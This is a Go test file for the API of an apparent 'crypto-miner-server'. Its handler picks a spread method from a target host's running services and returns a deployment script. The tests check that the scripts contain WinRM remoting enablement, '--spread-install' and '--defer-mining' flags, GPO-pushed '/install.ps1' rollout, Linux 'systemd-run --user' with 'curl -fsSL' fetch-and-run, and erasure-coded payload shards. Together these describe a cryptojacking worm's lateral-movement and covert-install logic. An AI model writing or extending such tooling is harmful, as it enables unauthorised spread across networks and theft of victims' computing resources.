package api import ( "encoding/json" "io" "net/http" "net/http/httptest" "strings" "testing" "crypto-miner-server/internal/erasure" ) func postDeployPlan(t *testing.T, h *DeployPlanHandler, body string) map[string]interface{} { t.Helper() srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodPost { http.Error(w, "method", http.StatusMethodNotAllowed) return } h.PostDeployPlan(w, r) })) t.Cleanup(srv.Close) resp, err := http.Post(srv.URL, "application/json", strings.NewReader(body)) if err != nil { t.Fatal(err) } defer resp.Body.Close() raw, err := io.ReadAll(resp.Body) if err != nil { t.Fatal(err) } if resp.StatusCode != http.StatusOK { t.Fatalf("status=%d body=%s", resp.StatusCode, string(raw)) } var out map[string]interface{} if err := json.Unmarshal(raw, &out); err != nil { t.Fatal(err) } return out } func TestPostDeployPlanHTTPWinRM(t *testing.T) { root := t.TempDir() writeDeploySpreadTemplates(t, root) h := testDeployPlanHandlerWithRoot(t, root) out := postDeployPlan(t, h, `{ "services":[{"name":"WinRM","status":"running"}], "platform":"windows","build_id":"b1","campaign":"winrm-lab" }`) if out["ok"] != true { t.Fatalf("resp=%v", out) } if out["join_lane"] != "winrm" { t.Fatalf("join_lane=%v", out["join_lane"]) } plan, ok := out["plan"].(map[string]interface{}) if !ok || plan["join_lane"] != "winrm" { t.Fatalf("plan=%v", out["plan"]) } script, _ := plan["script"].(string) for _, marker := range []string{"Enable-PSRemoting", "--spread-install", "--defer-mining"} { if !strings.Contains(script, marker) { t.Fatalf("script missing %q: %s", marker, script) } } if sig, _ := out["signature"].(string); sig == "" { t.Fatal("expected signature") } } func TestPostDeployPlanHTTPGPO(t *testing.T) { root := t.TempDir() writeDeploySpreadTemplates(t, root) h := testDeployPlanHandlerWithRoot(t, root) out := postDeployPlan(t, h, `{ "services":[{"name":"gpsvc","status":"running"}], "platform":"windows","build_id":"b1","campaign":"gpo-wave" }`) if out["ok"] != true || out["join_lane"] != "gpo" { t.Fatalf("resp=%v", out) } plan := out["plan"].(map[string]interface{}) script, _ := plan["script"].(string) if !strings.Contains(script, "AETHER_DEFER_MINING") || !strings.Contains(script, "/install.ps1") { t.Fatalf("script=%q", script) } } func TestPostDeployPlanHTTPLinuxLOTL(t *testing.T) { root := t.TempDir() writeDeploySpreadTemplates(t, root) h := testDeployPlanHandlerWithRoot(t, root) out := postDeployPlan(t, h, `{ "services":[{"name":"sshd","status":"active"}], "platform":"linux","build_id":"b1","campaign":"lotl-lab" }`) if out["ok"] != true || out["join_lane"] != "linux_lotl" { t.Fatalf("resp=%v", out) } plan := out["plan"].(map[string]interface{}) script, _ := plan["script"].(string) for _, marker := range []string{"systemd-run --user", "curl -fsSL"} { if !strings.Contains(script, marker) { t.Fatalf("script missing %q: %s", marker, script) } } } func TestPostDeployPlanHTTPErasureEnabled(t *testing.T) { root := t.TempDir() writeDeploySpreadTemplates(t, root) h := testDeployPlanHandlerWithRoot(t, root) store := erasure.NewShardStore() h.BindErasure(func() bool { return true }, store) out := postDeployPlan(t, h, `{ "services":[{"name":"DoSvc","status":"running"}], "platform":"windows","build_id":"b1","campaign":"erasure-wave" }`) plan, ok := out["plan"].(map[string]interface{}) if !ok { t.Fatalf("plan=%v", out["plan"]) } erasurePlan, ok := plan["erasure_plan"].(map[string]interface{}) if !ok || erasurePlan["enabled"] != true { t.Fatalf("erasure_plan=%v", plan["erasure_plan"]) } shards, ok := erasurePlan["shards"].([]interface{}) if !ok || len(shards) != 6 { t.Fatalf("shards=%v", erasurePlan["shards"]) } token, _ := erasurePlan["shard_token"].(string) if token == "" { t.Fatal("expected shard_token") } if _, ok := store.Get(token, 0); !ok { t.Fatal("expected stored shard for HTTP deploy plan") } } func TestPostDeployPlanHTTPRejectsEmptyServices(t *testing.T) { h := testDeployPlanHandler(t) srv := httptest.NewServer(http.HandlerFunc(h.PostDeployPlan)) t.Cleanup(srv.Close) resp, err := http.Post(srv.URL, "application/json", strings.NewReader(`{"platform":"windows"}`)) if err != nil { t.Fatal(err) } defer resp.Body.Close() if resp.StatusCode != http.StatusBadRequest { t.Fatalf("status=%d", resp.StatusCode) } }